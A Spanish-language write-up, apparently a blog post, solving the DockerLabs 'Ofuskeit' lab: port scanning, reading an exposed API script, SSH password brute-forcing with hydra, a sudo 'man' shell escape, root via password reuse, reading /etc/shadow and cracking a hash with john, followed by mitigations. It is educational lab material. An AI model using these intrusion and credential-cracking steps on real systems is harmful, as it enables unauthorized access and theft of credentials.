October 30, 2026
DockerLabs Writeup — Ofuskeit (Spanish)
A continuación, describo la guía de resolución del laboratorio de DockerLabs denominado “Ofuskeit”.

By David Prieto Montero (a.k.a Pyth0nK1d)
7 min read
Este laboratorio está catalogado con la dificultad "Medio" y su autor es "El Pingüino de Mario".
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Resumen de contenido sobre este laboratorio
Tags: Codificación, Contraseña débil, Divulgación de información, Ofuscación, Privilegios SUDO, Reutilización de contraseñas, Seguridad API
Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:
- Tras investigar el código fuente expuesto de una API, se descubre tras corregir un problema de codificación, la reutilización de una contraseña que ofrece esta misma API sobre un nombre de usuario conocido como posible combinación válida para acceder a través del servicio SSH. Esto ofrece la posibilidad de ganar acceso inicial al sistema como el usuario
admin. - Un privilegio SUDO permite escalar privilegios directamente al usuario
balulito. - La reutilización de la contraseña encontrada previamente permite acceder como el usuario
rootdirectamente. - Recuperación de la contraseña del usuario
balulitoy desofuscando código JavaScript encontrado.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 172.17.0.2ping -c 1 172.17.0.2
Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPortssudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPorts
En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 22,80,3000 -n -Pn 172.17.0.2 -oN servicesnmap -sCV -p 22,80,3000 -n -Pn 172.17.0.2 -oN services
En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (admin)
En este caso se detecta que hay tres puertos abiertos:
- Puerto 22 (servicio SSH, OpenSSH)
- Puerto 80 (servicio HTTP, Apache httpd)
- Puerto 3000 (servicio HTTP, Node.js/Express)
Al revisar el puerto 80, se muestra una página que ofrece servicios de mantenimiento informático profesional.
URL -> http://172.17.0.2URL -> http://172.17.0.2
Tras escanear la página en busca de recursos accesibles, se detecta un archivo JavaScript que parece corresponder a una API.
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,zip,js -t 32gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,zip,js -t 32
Tras revisarlo, parece corresponder a la API accesible a través del puerto 3000. Se comprueba que además de mostrar una codificación errónea de ciertos caracteres, se muestra en texto plano una posible contraseña y el token válido para utilizar el recurso que expone la API.
URL -> http://172.17.0.2/api.jsURL -> http://172.17.0.2/api.js
Al realizar la petición descrita sobre el recurso de la API utilizando el token encontrado, se puede comprobar que lo detecta como inválido.
curl -X POST http://172.17.0.2:3000/api -H 'Content-Type: application/json' -d '{"token":"<RECORTADO>"}'
...
❌ Token inválido.curl -X POST http://172.17.0.2:3000/api -H 'Content-Type: application/json' -d '{"token":"<RECORTADO>"}'
...
❌ Token inválido.
Como al mostrarse el script se ha comprobado que dispone de problemas de codificación, se utiliza el módulo Magic en CyberChef.io para obtener una codificación correcta del token.
Receta CyberChef: https://cyberchef.io/#recipe=Magic(3,true,true,'')&input=<RECORTADO>
Codificación correcta (Output): Encode_text('Windows-1252 Latin (1252)')Receta CyberChef: https://cyberchef.io/#recipe=Magic(3,true,true,'')&input=<RECORTADO>
Codificación correcta (Output): Encode_text('Windows-1252 Latin (1252)')
Al utilizar esta versión del token emitiendo una nueva petición, se puede comprobar que esta vez si concede el acceso y devuelve la misma contraseña expuesta previamente en el código fuente de la API.
curl -X POST http://172.17.0.2:3000/api -H 'Content-Type: application/json' -d '{"token":"<RECORTADO>"}'
...
✅ Acceso concedido. Contraseña <RECORTADO>curl -X POST http://172.17.0.2:3000/api -H 'Content-Type: application/json' -d '{"token":"<RECORTADO>"}'
...
✅ Acceso concedido. Contraseña <RECORTADO>
Como se dispone de una contraseña pero no de un usuario, se realiza un ataque de diccionario sobre el servicio SSH con un listado de usuarios conocidos. Esto termina descubriendo una combinación válida de credenciales para este servicio.
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p '<RECORTADO>' ssh://172.17.0.2 -I -f -t 32hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p '<RECORTADO>' ssh://172.17.0.2 -I -f -t 32
De esta forma es posible realizar el acceso inicial al sistema objetivo a través del servicio SSH como el usuario "admin".
ssh admin@172.17.0.2
yes (aceptar conexión sin comprobar autenticidad)
(introducir la contraseña descubierta)
whoami
id
hostnamessh admin@172.17.0.2
yes (aceptar conexión sin comprobar autenticidad)
(introducir la contraseña descubierta)
whoami
id
hostname
Escalada de privilegios (admin -> balulito)
Al listar los privilegios SUDO, se puede comprobar que el usuario "admin" puede ejecutar el binario "/usr/bin/man" como el usuario "balulito" sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:
- (balulito) NOPASSWD: /usr/bin/man
Además, se detecta su uso en el historial de comandos de este usuario.
cat .bash_history
sudo -lcat .bash_history
sudo -l
Comprobando este binario en GTFObins, se puede comprobar que existe una manera probada de aprovechar este binario para realizar operaciones aprovechando los privilegios asignados.
Referencia: https://gtfobins.org/gtfobins/man/#shellReferencia: https://gtfobins.org/gtfobins/man/#shell
En este caso, es posible abrir una consola interactiva como el usuario "balulito" directamente.
sudo -u balulito /usr/bin/man ls
...
!/bin/bash
...
whoami
id
hostnamesudo -u balulito /usr/bin/man ls
...
!/bin/bash
...
whoami
id
hostname
Escalada de privilegios (balulito -> root)
Se comprueba el historial de comandos de este usuario, el cual indica que este usuario a accedido al directorio raíz de la página web expuesta.
cd ~
ls -al
cat .bash_historycd ~
ls -al
cat .bash_history
Al revisar este directorio, se detecta un archivo ".git" que parece contener credenciales en texto plano asociadas al usuario "balulito". Sin embargo, esta contraseña no parece reutilizarse para el usuario del sistema.
ls -al
git log
cat .gitls -al
git log
cat .git
Después de continuar enumerando y realizar varias pruebas, se detecta que el usuario "root" reutiliza la contraseña encontrada previamente en la API.
su - root
(introducir la contraseña encontrada previamente)
whoami
id
hostnamesu - root
(introducir la contraseña encontrada previamente)
whoami
id
hostname
En este punto, al haber obtenido acceso a la cuenta "root", se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).
BONUS 1: Descubriendo la contraseña de "balulito"
Una vez accedido como el usuario "root" se extraen los hashes asociados a las contraseñas de los usuarios del sistema consultando el archivo "/etc/shadow".
cat /etc/shadowcat /etc/shadow
La única contraseña que se desconoce hasta el momento es la correspondiente al usuario "balulito", por lo que se intenta romper su hash mediante un ataque de diccionario. No tarda mucho hasta que detecta la contraseña asociada.
cat balulito.hash | wc -c
...
74
john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt balulito.hashcat balulito.hash | wc -c
...
74
john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt balulito.hash
Tras probar, se consigue acceder a través de SSH como el usuario "balulito", confirmando así que la contraseña obtenida es válida.
ssh balulito@172.17.0.2
(introducir la contraseña descubierta)
whoami
id
hostnamessh balulito@172.17.0.2
(introducir la contraseña descubierta)
whoami
id
hostname
BONUS 2: Detección de JavaScript ofuscado
Se detecta un script en JavaScript referenciado por la página principal con apariencia de estar ofuscado.
En resumen, la ofuscación es una técnica que consiste en modificar el código, en este caso JavaScript, para que sea más difícil de leer y entender para una persona, sin cambiar su funcionamiento.
Se pueden cambiar los nombres de las variables y funciones por cadenas sin sentido, eliminar espacios y comentarios, o transformar las instrucciones para hacerlas menos comprensibles. De esta forma, aunque alguien inspeccione el código desde el navegador, le resultará más complicado interpretar cómo funciona internamente la web.
Su principal utilidad es dificultar la copia, el análisis y la reutilización de la lógica de una aplicación web, así como ocultar detalles de su implementación y aumentar el esfuerzo necesario para realizar ingeniería inversa. Sin embargo, la ofuscación no cifra el código ni lo hace completamente inaccesible.
Esto permite que un usuario con conocimientos técnicos puede llegar a analizarlo o revertir parte de las transformaciones. Tampoco protege secretos, contraseñas o claves privadas; estos nunca deben incluirse en el código que se envía al navegador. Por tanto, la ofuscación no sustituye a las medidas de seguridad reales de una aplicación web.
URL -> http://172.17.0.2/script.jsURL -> http://172.17.0.2/script.js
Sin embargo, tras desofuscarlo, parece que este oculta una simple funcionalidad de animación de la página, lo cual no parece esconder nada importante.
Herramienta para desofuscar: https://obf-io.deobfuscate.io/Herramienta para desofuscar: https://obf-io.deobfuscate.io/
Mitigaciones a aplicar
- Almacenar o compartir la información sensible como contraseñas, hashes, notas, nombres de usuario o secretos similares de una forma segura (por ejemplo, usando gestores de contraseñas).
- Evitar que los usuarios del sistema u otros elementos a proteger como comprimidos o documentos tengan como contraseña una que se pueda encontrar en listas públicas o conocidas como rockyou. Recomendación: crear una política de contraseñas robusta para evitar que esto ocurra.
- Evitar malas prácticas como la reutilización de contraseñas entre cuentas o servicios o utilizar contraseñas débiles.
- Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como "CIS Benchmarks" para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com